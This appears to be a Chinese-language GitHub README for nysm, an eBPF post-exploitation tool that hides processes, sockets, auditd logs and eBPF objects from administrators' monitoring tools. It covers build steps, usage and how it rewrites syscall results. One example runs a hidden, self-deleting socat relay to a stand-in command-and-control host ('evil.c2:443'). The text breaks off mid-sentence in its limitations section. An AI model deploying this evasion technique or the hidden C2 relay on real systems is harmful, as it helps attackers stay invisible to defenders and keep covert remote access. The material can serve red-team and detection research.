eeriedusk/nysm
GitHub: eeriedusk/nysm
基于 eBPF 的隐蔽后渗透容器,通过拦截和改写系统调用返回值来隐藏进程、套接字、审计日志及 eBPF 对象自身,使攻击活动在系统管理员的监控下隐形。
Stars: 267 | Forks: 38
nysm
一个隐蔽的后渗透容器。
## 目录 - [1. 简介](#introduction) - [2. 安装](#installation) - [2.1 环境要求](#requirements) - [2.2 Linux headers](#linux-headers) - [2.3 构建](#build) - [3. 用法](#usage) - [3.1 示例](#examples) - [4. 工作原理](#how-it-works) - [4.1 总体概述](#in-general) - [4.2 隐藏 eBPF 对象](#hide-ebpf-objects) - [4.3 隐藏 Auditd 日志](#hide-auditd-logs) - [4.4 隐藏 PID](#hide-pids) - [4.5 隐藏套接字](#hide-sockets) - [5. 局限性](#limitations) ## 简介 随着基于 eBPF 的攻击工具日益流行,从凭据窃取器到隐藏自身 PID 的 rootkit,我们不禁思考一个问题:*是否有可能让 eBPF 对自身的检测机制也“视而不见”?* 由此,我们创建了 nysm,一个 eBPF 隐蔽容器,旨在让攻击工具在系统管理员的雷达之下活动,它不仅能隐藏 eBPF,还有更多功能: - bpftool - bpflist-bpfcc - ps - top - sockstat - ss - rkhunter - chkrootkit - lsof - auditd - *等等...* 所有这些工具都无法察觉在 nysm 中运行的任何操作。它能隐藏: - 新的 eBPF 程序 ⚙️ - 新的 eBPF maps 🗺️ - 新的 eBPF 链接 🔗 - 新生成的 Auditd 日志 📰 - 新的 PID 🪪 - 新的套接字 🔌 ## 安装 ### 环境要求 ``` sudo apt install git make pkg-config libelf-dev libzstd-dev clang llvm bpftool -y ``` ### Linux headers ``` cd ./nysm/src/ bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h ``` ### 构建 ``` cd ./nysm/src/ make ``` ## 用法 nysm 是一个简单的程序,只需在目标命令之前运行它即可: ``` Usage: nysm [OPTION...] COMMAND Stealth eBPF container. -d, --detach Run COMMAND in background -r, --rm Self destruct after execution -v, --verbose Produce verbose output -h, --help Display this help --usage Display a short usage message ``` ### 示例 运行一个隐藏的 `bash`: ``` ./nysm bash ``` 运行一个隐藏的 `ssh` 并删除 `./nysm`: ``` ./nysm -r ssh user@domain ``` 以守护进程模式运行一个隐藏的 `socat` 并删除 `./nysm`: ``` ./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443 ``` ## 工作原理 ### 总体概述 由于 eBPF *无法*覆写返回值或内核地址,我们的目标是找到与用户空间地址交互的最低层级调用,进而覆写其值并隐藏目标对象。 为了将 nysm 的事件与其他事件区分开来,所有操作都在一个独立的 PID namespace 中运行。 ### 隐藏 eBPF 对象 `bpftool` 有一些 nysm 希望规避的功能:`bpftool prog list`、`bpftool map list` 和 `bpftool link list`。 与任何 eBPF 程序一样,`bpftool` 使用 `bpf()` 系统调用,更具体地说是使用了 `BPF_PROG_GET_NEXT_ID`、`BPF_MAP_GET_NEXT_ID` 和 `BPF_LINK_GET_NEXT_ID` 命令。这些调用的结果存储在由 `attr` 参数指向的用户空间地址中。 为了覆写 `uattr`,nysm 在 `bpf()` 的入口处设置了一个 tracepoint,将指向的地址存储在一个 map 中。完成此操作后,它会等待 `bpf()` 的退出 tracepoint。当 `bpf()` 退出时,nysm 可以通过 [bpf_attr](https://elixir.bootlin.com/linux/v6.4/source/include/uapi/linux/bpf.h#L1320) 结构体进行读写。在每次执行 `BPF_*_GET_NEXT_ID` 之后,`bpf_attr.start_id` 会被替换为 `bpf_attr.next_id`。 为了隐藏特定的 ID,nysm 会检查 `bpf_attr.next_id` 并将其替换为非 nysm 创建的下一个 ID。 程序、map 和链接的 ID 是通过 [security_bpf_prog()](https://elixir.bootlin.com/linux/v6.4/source/security/security.c#L5092)、[security_bpf_map()](https://elixir.bootlin.com/linux/v6.4/source/security/security.c#L5077) 和 [bpf_link_prime()](https://elixir.bootlin.com/linux/v6.4/source/kernel/bpf/syscall.c#L2867) 收集的。 ### 隐藏 Auditd 日志 Auditd 通过 `recvfrom()` 接收日志,该函数将消息存储在一个缓冲区中。 如果接收到的消息是由 nysm 进程通过 [audit_log_end()](https://elixir.bootlin.com/linux/latest/source/kernel/audit.c#L2399) 生成的,nysm 会将其 `nlmsghdr` 头中的消息长度替换为 0。 ### 隐藏 PID 使用 eBPF 隐藏 PID 并不是什么新技术。nysm 通过更改上一个记录的长度,将 `/proc` 下 `getdents64()` 新分配的 `alloc_pid()` 隐藏起来。 由于 `getdents64()` 需要遍历其所有的文件,这很容易达到 eBPF 的指令限制。因此,nysm 在达到限制之前使用了 [tail calls](https://docs.cilium.io/en/stable/bpf/architecture/#tail-calls)。 ### 隐藏套接字 “隐藏套接字”是一个比较大的话题。事实上,已经打开的套接字已经从许多工具中隐藏了,因为它们无法在 `/proc` 中找到对应的进程。然而,`ss` 使用带有 `NETLINK_SOCK_DIAG` 标志的 `socket()`,该标志会*返回*所有当前已打开的套接字。之后,`ss` 通过 `recvmsg()` 在一个消息缓冲区中接收结果,返回值是所有这些消息合并后的总长度。 在这里,nysm 应用了与隐藏 PID 相同的方法:修改上一条消息的长度来隐藏 nysm 的套接字。 这些套接字信息是通过 `connect()` 和 `bind()` 调用收集的。 ## 局限性 尽管已尽最大努力,nysm 仍然存在一些局限性。 - 任何未关闭其文件描述符的工具,都能发现在其打开期间创建的 nysm 进程。例如,如果在 `top` 之前运行了 `./nysm bash`,这些进程将不会显示出来。但是,如果在 `top` 仍在运行时从该 `bash` 实例中创建了另一个进程,那么这个新进程就会被发现。套接字以及像 nethogs 这样的工具也存在同样的问题。 - 内核日志:`dmesg` 和 `/var/log/kern.log`。由于 eBPF verifier 的原因,在 nysm 运行期间,`nysm[标签:auditd绕过, Clang, Docker镜像, LLVM, PID隐藏, Rootkit, Zeek, 内核, 协议分析, 套接字隐藏, 审计绕过, 客户端加密, 容器, 数据展示, 日志隐藏, 权限提升, 私有化部署, 红队, 网络可见性, 网络安全, 进程隐藏, 防御规避, 隐私保护, 隐蔽执行